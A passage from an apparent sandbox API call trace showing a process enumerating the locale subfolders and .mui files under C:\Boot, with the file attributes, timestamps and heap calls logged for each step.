(in: hFindFile=0x11b9dd0, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ade2b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0077.862] FindClose (in: hFindFile=0x11b9dd0 | out: hFindFile=0x11b9dd0) returned 1 [0077.863] GetProcessHeap () returned 0x11a0000 [0077.863] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x125fa90 | out: hHeap=0x11a0000) returned 1 [0077.863] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0077.863] GetProcessHeap () returned 0x11a0000 [0077.863] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x125fa90 [0077.863] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\hr-HR\\*", lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName=".", cAlternateFileName="")) returned 0x11b9dd0 [0077.864] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="..", cAlternateFileName="")) returned 1 [0077.864] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.864] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0077.864] FindClose (in: hFindFile=0x11b9dd0 | out: hFindFile=0x11b9dd0) returned 1 [0077.864] GetProcessHeap () returned 0x11a0000 [0077.864] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x125fa90 | out: hHeap=0x11a0000) returned 1 [0077.864] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0077.864] GetProcessHeap () returned 0x11a0000 [0077.864] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x125fa90 [0077.864] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\hu-HU\\*", lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName=".", cAlternateFileName="")) returned 0x11b9f90 [0077.864] FindNextFileW (in: hFindFile=0x11b9f90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="..", cAlternateFileName="")) returned 1 [0077.864] FindNextFileW (in: hFindFile=0x11b9f90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13360, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.865] FindNextFileW (in: hFindFile=0x11b9f90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5c171b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39d81d8, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb398, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0077.865] FindNextFileW (in: hFindFile=0x11b9f90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5c171b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39d81d8, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb398, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0077.865] FindClose (in: hFindFile=0x11b9f90 | out: hFindFile=0x11b9f90) returned 1 [0077.865] GetProcessHeap () returned 0x11a0000 [0077.865] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x125fa90 | out: hHeap=0x11a0000) returned 1 [0077.865] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="it-IT", cAlternateFileName="")) returned 1 [0077.865] GetProcessHeap () returned 0x11a0000 [0077.865] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x125fa90 [0077.865] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\it-IT\\*", lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName=".", cAlternateFileName="")) returned 0x11b9f10 [0077.866] FindNextFileW (in: hFindFile=0x11b9f10, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="..", cAlternateFileName="")) returned 1 [0077.866] FindNextFileW (in: hFindFile=0x11b9f10, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d58, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.866] FindNextFileW (in: hFindFile=0x11b9f10, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5d8ab4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf30285aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0077.866] FindNextFileW (in: hFindFile=0x11b9f10, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5d8ab4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf30285aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0077.866] FindClose (in: hFindFile=0x11b9f10 | out: hFindFile=0x11b9f10) returned 1 [0077.866] GetProcessHeap () returned 0x11a0000 [0077.866] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x125fa90 | out: hHeap=0x11a0000) returned 1 [0077.866] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0077.867] GetProcessHeap () returned 0x11a0000 [0077.867] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x125fa90 [0077.867] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ja-JP\\*", lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName=".", cAlternateFileName="")) returned 0x11b9dd0 [0077.868] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="..", cAlternateFileName="")) returned 1 [0077.868] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48c6596, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x10760, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.868] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ed6c6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf300233f, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0077.868] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ed6c6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf300233f, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0077.868] FindClose (in: hFindFile=0x11b9dd0 | out: hFindFile=0x11b9dd0) returned 1 [0077.868] GetProcessHeap () returned 0x11a0000 [0077.868] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x125fa90 | out: hHeap=0x11a0000) returned 1 [0077.868] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0077.868] GetProcessHeap () returned 0x11a0000 [0077.868] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x125fa90 [0077.868] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ko-KR\\*", lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName=".", cAlternateFileName="")) returned 0x11b9dd0 [0077.869] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="..", cAlternateFileName="")) returned 1 [0077.869] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211c6af1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x10560, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.869] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fdc0d7, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa7a0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0077.871] GetProcessHeap () returned 0x11a0000 [0077.871] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x125fa90 | out: hHeap=0x11a0000) returned 1 [0077.871] GetProcessHeap () returned 0x11a0000 [0077.871] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x125fa90 [0077.871] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\lt-LT\\*", lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName=".", cAlternateFileName="")) returned 0x11b9dd0 [0077.872] GetProcessHeap () returned 0x11a0000 [0077.872] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x125fa90 | out: hHeap=0x11a0000) returned 1 [0077.872] GetProcessHeap () returned 0x11a0000 [0077.872] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x125fa90 [0077.872] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\lv-LV\\*", lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName=".", cAlternateFileName="")) returned 0x11b9dd0 [0077.873] GetProcessHeap () returned 0x11a0000 [0077.873] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x125fa90 | out: hHeap=0x11a0000) returned 1 [0077.873] GetProcessHeap () returned 0x11a0000 [0077.873] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x125fa90 [0077.873] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\nb-NO\\*", lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName=".", cAlternateFileName="")) returned 0x11b9dd0 [0077.874] GetProcessHeap () returned 0x11a0000 [0077.874] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x125fa90 | out: hHeap=0x11a0000) returned 1 [0077.874] GetProcessHeap () returned 0x11a0000 [0077.874] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x125fa90 [0077.874] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\nl-NL\\*", lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName=".", cAlternateFileName="")) returned 0x11b9dd0 [0077.874] GetProcessHeap () returned 0x11a0000 [0077.874] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x125fa90 | out: hHeap=0x11a0000) returned 1 [0077.874] GetProcessHeap () returned 0x11a0000 [0077.874] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x125fa90 [0077.874] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pl-PL\\*", lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName=".", cAlternateFileName="")) returned 0x11b9d90 [0078.244] GetProcessHeap () returned 0x11a0000 [0078.245] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x125fa90 | out: hHeap=0x11a0000) returned 1 [0078.295] GetProcessHeap () returned 0x11a0000 [0078.295] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x123fa80 [0078.307] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pt-BR\\*", lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName=".", cAlternateFileName="")) returned 0x11b9f10 [0078.307] GetProcessHeap () returned 0x11a0000 [0078.308] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x123fa80 | out: hHeap=0x11a0000) returned 1 [0078.308] GetProcessHeap () returned 0x11a0000 [0078.308] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x123fa80 [0078.308] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pt-PT\\*", lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName=".", cAlternateFileName="")) returned 0x11ba110 [0078.308] GetProcessHeap () returned 0x11a0000 [0078.308] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x123fa80 | out: hHeap=0x11a0000) returned 1 [0078.308] GetProcessHeap () returned 0x11a0000 [0078.308] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x123fa80 [0078.308] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\*", lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName=".", cAlternateFileName="")) returned 0x11b9dd0 [0078.308] GetProcessHeap () returned 0x11a0000 [0078.308] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x123fa80 | out: hHeap=0x11a0000) returned 1 [0078.308] GetProcessHeap () returned 0x11a0000 [0078.308] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x123fa80 [0078.308] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\Resources\\*", lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, 